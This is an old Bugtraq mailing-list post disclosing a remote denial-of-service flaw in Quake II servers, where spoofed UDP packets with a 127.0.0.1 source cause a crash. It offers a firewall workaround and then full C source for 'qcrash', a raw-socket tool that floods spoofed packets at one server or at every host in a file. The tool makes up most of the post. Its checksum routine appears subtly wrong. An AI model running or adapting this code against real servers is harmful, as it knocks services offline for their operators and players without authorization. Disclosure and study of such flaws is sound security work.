Quake II Remote Denial of Service

profound darkness (peedee@FUENTE.SVENTECH.COM)
Wed, 24 Dec 1997 18:22:54 -0500

Hello bugtraq readers, this message will detail a security flaw in
Id Software's game, Quake II.

When a user runs a Quake II server, the attacker can send a couple of
spoofed udp packets with the return address of 127.0.0.1 to the server
port and this will cause the Quake II server to go into a cycle of trying
to start a game with itself. Thus, the server will crash.

There is currently no official patch for this problem, however for a
temporary fix, you can setup a firewall and deny all incoming udp packets
from 127.0.0.1 to your Quake II server port.

I have included source code to show you that this hole does indeed exist,
and I ask that you do not run this on any Quake II server's that you do
not have permission to do so on.

/*

Remote denial of service for Quake II server's
Code by profound darkness <peedee@fuente.sventech.com>

*/

#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_udp.h>
#include <netinet/in_systm.h>
#include <netinet/protocols.h>

FILE *hemroids;

struct iphdr *ip;
struct udphdr *udp;
struct sockaddr_in sinner;

unsigned long destination;

char *packet;
int flag;

void usage(char *proggy) {
printf("\nUsage: %s <option> <argument> <argument> <argument>\n\n", proggy);
printf(" <option> : -s : Crash a single server, argument 1 is target host\n");
printf(" <option> : -m : Crash multiple servers, argument 1 becomes filename\n\n");
printf(" <argument> : Target host to crash or filename with multiple hostnames\n");
printf(" <argument> : Port to send udp packets to for the crash, default is 27910\n");
printf(" <argument> : Number of packets to send to the target host(s)\n\n");
exit(0);
}

char lookup(char *hostaddy) {
struct hostent *he;
he = gethostbyname(hostaddy);
if (he) {
memset(&sinner, 0, sizeof(struct sockaddr_in));
memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length);
sinner.sin_family = AF_INET;
sinner.sin_addr.s_addr = inet_addr(hostaddy);
sinner.sin_family = he->h_addrtype;
} else {
printf("\"%s\" is an unknown hostname.\n", hostaddy);
flag = 1;
return 0;
}
return ((unsigned long) he->h_addr);
}

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int lenny = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (lenny > 1) {
sum += *w++;
sum += *w++;
lenny -= 2;
}

if (lenny == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}

sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}

void buildpacket(char *monster, int dport, int sport, int numpacks) {
int sock, counter;

packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip = (struct iphdr *) packet;
udp = (struct udphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);

ip->saddr = lookup("127.0.0.1");
ip->daddr = destination;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(sport);
udp->dest = htons(dport);
udp->len = htons(sizeof(struct udphdr) + 1024);

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

for(counter=0;counter!=numpacks;counter++) {
if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, sizeof(struct sockaddr_in)) == (-1)) {
perror("SendPacket");
exit(0);
}
usleep(1);
}
}

char main(int argc, char *argv[]) {
int count, sender;
char hostmask[100];

if (argc < 5) usage(argv[0]);

if (getuid()!=0) {
printf("This program requires root.\n");
exit(0);
}

while((count = getopt(argc, argv, "s:m:")) != -1) {
switch (count) {
case 's':
printf("Attempting to resolve %s.\n", argv[2]);
lookup(argv[2]);
if(flag == 1) break;
printf("Building %s packets & sending to %s:%s!\n", argv[4], argv[2], argv[3]);
buildpacket(argv[2], atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
break;
case 'm':
hemroids = fopen(argv[2], "r");
while(fgets(hostmask, sizeof(hostmask), hemroids)!=NULL) {
hostmask[strlen(hostmask)-1] = '\0';
printf("Attempting to resolve %s.\n", hostmask);
lookup(hostmask);
if (flag == 1) goto doot;
printf("Building %s packets & sending to %s:%s!\n", argv[4], hostmask,argv[3]);
buildpacket(hostmask, atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
doot:
flag = 0;
}
break;
default:
usage(argv[0]);
}
}

if(flag != 1) {
printf("\nThanks for using qcrash!\n");
}

fclose(hemroids);
exit(0);
}